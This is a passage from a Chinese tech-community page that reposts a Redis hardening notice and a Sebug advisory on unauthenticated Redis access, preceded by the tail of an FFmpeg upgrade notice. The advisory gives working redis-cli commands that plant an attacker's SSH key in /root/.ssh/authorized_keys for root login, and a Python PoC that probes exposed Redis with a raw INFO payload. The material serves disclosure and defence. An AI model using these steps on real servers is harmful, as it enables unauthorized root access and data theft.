FFmpeg 2.5.x系列小于2.5.10。
 
漏洞修复:
升级FFmpeg至最新版本:
FFmpeg 2.8.x系列升级至2.8.5或以上;
FFmpeg 2.7.x系列升级至2.7.5或以上;
FFmpeg 2.6.x系列升级至2.6.7或以上;
FFmpeg 2.5.x系列升级至2.5.10或以上。

Redis风险安全公告

数据库OpenSkill 发表了文章 • 0 个评论 • 666 次浏览 • 2015-12-04 19:53 • 来自相关话题

今天接到ucloud的安全公告信息,内容如下,分享给大家:近日爆出针对Redis的新型攻击手法,Redis用户可能因为配置不当,被攻击者恶意利用导致被清空Redis数据或者获取到系统控制权限。对于自建Redis服务、如使用默认端口、没有启用认证而且对公网开放的服务器均受该漏洞影响。

修复方案

1、监听指定接口修改redis.conf配置,例如只监听127.0.0.1:

bind 127.0.0.1
redis默认注释了该配置,删掉前面的"#"即可,重启才会生效。2、启用认证在requirepass字段后面配置强口令,例如:

requirepass H9j#udw*1FL
redis默认注释了该配置,删掉前面的"#"即可,重启才会生效,同时修改客户端程序,需要使用该口令才可以访问。3、关闭config命令
如果不需要在运行过程中通过CONFIG命令修改配置,可以关闭该功能,有两种方式:
1)把CONFIG重命名为其它的名字,这样攻击者很难猜测到该名字,方法如下:rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52 2)直接关闭CONFIG命令,方法如下:rename-command CONFIG ""修改完配置后需要重启才能生效。
 
4、使用普通账户运行redis服务使用普通用户运行redis,并关闭该账号系统登录权限,可以减少漏洞影响,但是攻击者还是可以通过运行命令删除redis数据。5、配置访问控制策略如果redis必须对公网提供服务,可以通过通过防火墙限制指定的IP才可以访问redis服务。http://openskill.cn   开源技术社区分享阅读
只做技术的分享,欢迎订阅微信公众号: 查看全部
今天接到ucloud的安全公告信息,内容如下,分享给大家:
近日爆出针对Redis的新型攻击手法,Redis用户可能因为配置不当,被攻击者恶意利用导致被清空Redis数据或者获取到系统控制权限。
对于自建Redis服务、如使用默认端口、没有启用认证而且对公网开放的服务器均受该漏洞影响。


修复方案


1、监听指定接口
修改redis.conf配置,例如只监听127.0.0.1:

bind 127.0.0.1
redis默认注释了该配置,删掉前面的"#"即可,重启才会生效。
2、启用认证
在requirepass字段后面配置强口令,例如:

requirepass H9j#udw*1FL
redis默认注释了该配置,删掉前面的"#"即可,重启才会生效,同时修改客户端程序,需要使用该口令才可以访问。
3、关闭config命令
如果不需要在运行过程中通过CONFIG命令修改配置,可以关闭该功能,有两种方式:
1)把CONFIG重命名为其它的名字,这样攻击者很难猜测到该名字,方法如下:
rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52
 2)直接关闭CONFIG命令,方法如下:
rename-command CONFIG ""
修改完配置后需要重启才能生效。
 
4、使用普通账户运行redis服务
使用普通用户运行redis,并关闭该账号系统登录权限,可以减少漏洞影响,但是攻击者还是可以通过运行命令删除redis数据。
5、配置访问控制策略
如果redis必须对公网提供服务,可以通过通过防火墙限制指定的IP才可以访问redis服务。
http://openskill.cn   开源技术社区分享阅读
只做技术的分享,欢迎订阅微信公众号:
openskill.gif

qqun.png

Redis 未授权访问缺陷可轻易导致系统被黑

数据库OpenSkill 发表了文章 • 0 个评论 • 575 次浏览 • 2015-12-03 20:08 • 来自相关话题

漏洞概要

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞详情

漏洞概述Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。漏洞描述Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。
 Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。漏洞影响Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。


通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。





根据 ZoomEye 最新于2015年11月12日0点探测结果显示:

总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。

1.1. 漏洞分析与利用
首先在本地生产公私钥文件:$ssh-keygen –t rsa



然后将公钥写入foo.txt文件$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt再连接Redis写入文件$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK



这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:$ ssh –i id_rsa root@192.168.1.11即可远程利用自己的私钥登录该服务器。
 
当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。

Redis 未授权的其他危害与利用

数据库数据泄露Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等



代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下




一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.

通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。
敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫




可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。









漏洞 PoC

#!/usr/bin/env python
# -[i]- coding:utf-8 -[/i]-

import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
vulID = '89339'
version = '1'
author = ['Anonymous']
vulDate = '2015-10-26'
createDate = '2015-10-26'
updateDate = '2015-10-26'
references = ['http://sebug.net/vuldb/ssvid-89339']
name = 'Redis 未授权访问 PoC'
appPowerLink = 'http://redis.io/'
appName = 'Redis'
appVersion = 'All'
vulType = 'Unauthorized access'
desc = '''
redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
'''
samples = ['']

def _verify(self):
result = {}
payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
s = socket.socket()
socket.setdefaulttimeout(10)
try:
host = urlparse.urlparse(self.url).netloc
port = 6379
s.connect((host, port))
s.send(payload)
recvdata = s.recv(1024)
if recvdata and 'redis_version' in recvdata:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Port'] = port
except:
pass
s.close()
return self.parse_attack(result)

def _attack(self):
return self._verify()

def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output

register(TestPOC)




分享阅读原文:https://www.sebug.net/vuldb/ssvid-89715 查看全部
redisbug1.png


漏洞概要


Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。


漏洞详情


漏洞概述
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。
漏洞描述
Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。
 
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 
利用Redis自身的相关方法,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。
漏洞影响
Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。


通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。
redisbug2.png


根据 ZoomEye 最新于2015年11月12日0点探测结果显示:

总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,也就是已经被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。


1.1. 漏洞分析与利用
首先在本地生产公私钥文件:
$ssh-keygen –t rsa

redisbug3.png
然后将公钥写入foo.txt文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
再连接Redis写入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
redisbug4.png

这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行:
$ ssh –i  id_rsa root@192.168.1.11
即可远程利用自己的私钥登录该服务器。
 
当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。


Redis 未授权的其他危害与利用


数据库数据泄露
Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等 
redis5.png

代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下
redisbug5.png

一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.

通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。
敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫
redisbug6.png

可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。
redisbug7.png

redisbug8.png


漏洞 PoC


#!/usr/bin/env python
# -[i]- coding:utf-8 -[/i]-

import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
vulID = '89339'
version = '1'
author = ['Anonymous']
vulDate = '2015-10-26'
createDate = '2015-10-26'
updateDate = '2015-10-26'
references = ['http://sebug.net/vuldb/ssvid-89339']
name = 'Redis 未授权访问 PoC'
appPowerLink = 'http://redis.io/'
appName = 'Redis'
appVersion = 'All'
vulType = 'Unauthorized access'
desc = '''
redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
'''
samples = ['']

def _verify(self):
result = {}
payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
s = socket.socket()
socket.setdefaulttimeout(10)
try:
host = urlparse.urlparse(self.url).netloc
port = 6379
s.connect((host, port))
s.send(payload)
recvdata = s.recv(1024)
if recvdata and 'redis_version' in recvdata:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result['VerifyInfo']['Port'] = port
except:
pass
s.close()
return self.parse_attack(result)

def _attack(self):
return self._verify()

def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output

register(TestPOC)
redisbug9.png


分享阅读原文:https://www.sebug.net/vuldb/ssvid-89715


IT技术错误分享!